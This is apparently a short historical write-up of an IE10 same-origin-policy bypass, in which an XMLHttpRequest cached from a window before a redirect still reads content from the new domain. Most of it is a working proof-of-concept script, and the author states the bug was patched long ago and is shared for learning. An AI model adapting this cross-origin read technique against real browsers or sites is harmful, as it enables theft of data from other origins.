IE10 UXSS: Cached XHR Object Retains Cross-Origin Access After Redirect

By capturing an XMLHttpRequest object from a newly opened window before the window redirected to a different domain, the cached XHR reference retained the ability to make requests in the context of the redirected domain — bypassing the same-origin policy.

<script>
function main_modelessDialog()
{
    var win = showModelessDialog("redirect.aspx", window, "dialogwidth=100px;dialogHeight=100px");

    var strCode = 'dialogArguments.oXML = new XMLHttpRequest();' +
                  'dialogArguments.oXML.open("GET", "/", false);' +
                  'alert("Please, don\'t close this alert yet");';

    win.setTimeout(strCode);
    setTimeout("useCachedXHR()", 2000);
}

function main_windowOpen()
{
    var win = window.open("redirect.aspx","","width=300,height=300");

    var strCode = 'opener.oXML = new XMLHttpRequest();' +
                  'opener.oXML.open("GET", "/", false);' +
                  'alert("Please, don\'t close this alert yet");';

    win.setTimeout(strCode);
    setTimeout("useCachedXHR()", 2000);
}

function useCachedXHR()
{
    oXML.open("GET", "404_content_from_bing.html", false);
    oXML.send(null);
    alert('This content is coming from Bing.com:\n\n' + oXML.responseText);
}
</script>
<input type="button" onclick="main_modelessDialog()" value="xDOM Using modelessDialog">
<input type="button" onclick="main_windowOpen()" value="xDom Using window.open()">

The XHR was created in the new window before the redirect, then saved on the opener. Once the redirect completed and the window was now at the target domain, the cached XHR object could still be used to read content from that domain. At the time of investigation, the reads were limited to 404 responses, but the technique was enough to demonstrate the cross-origin access path.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.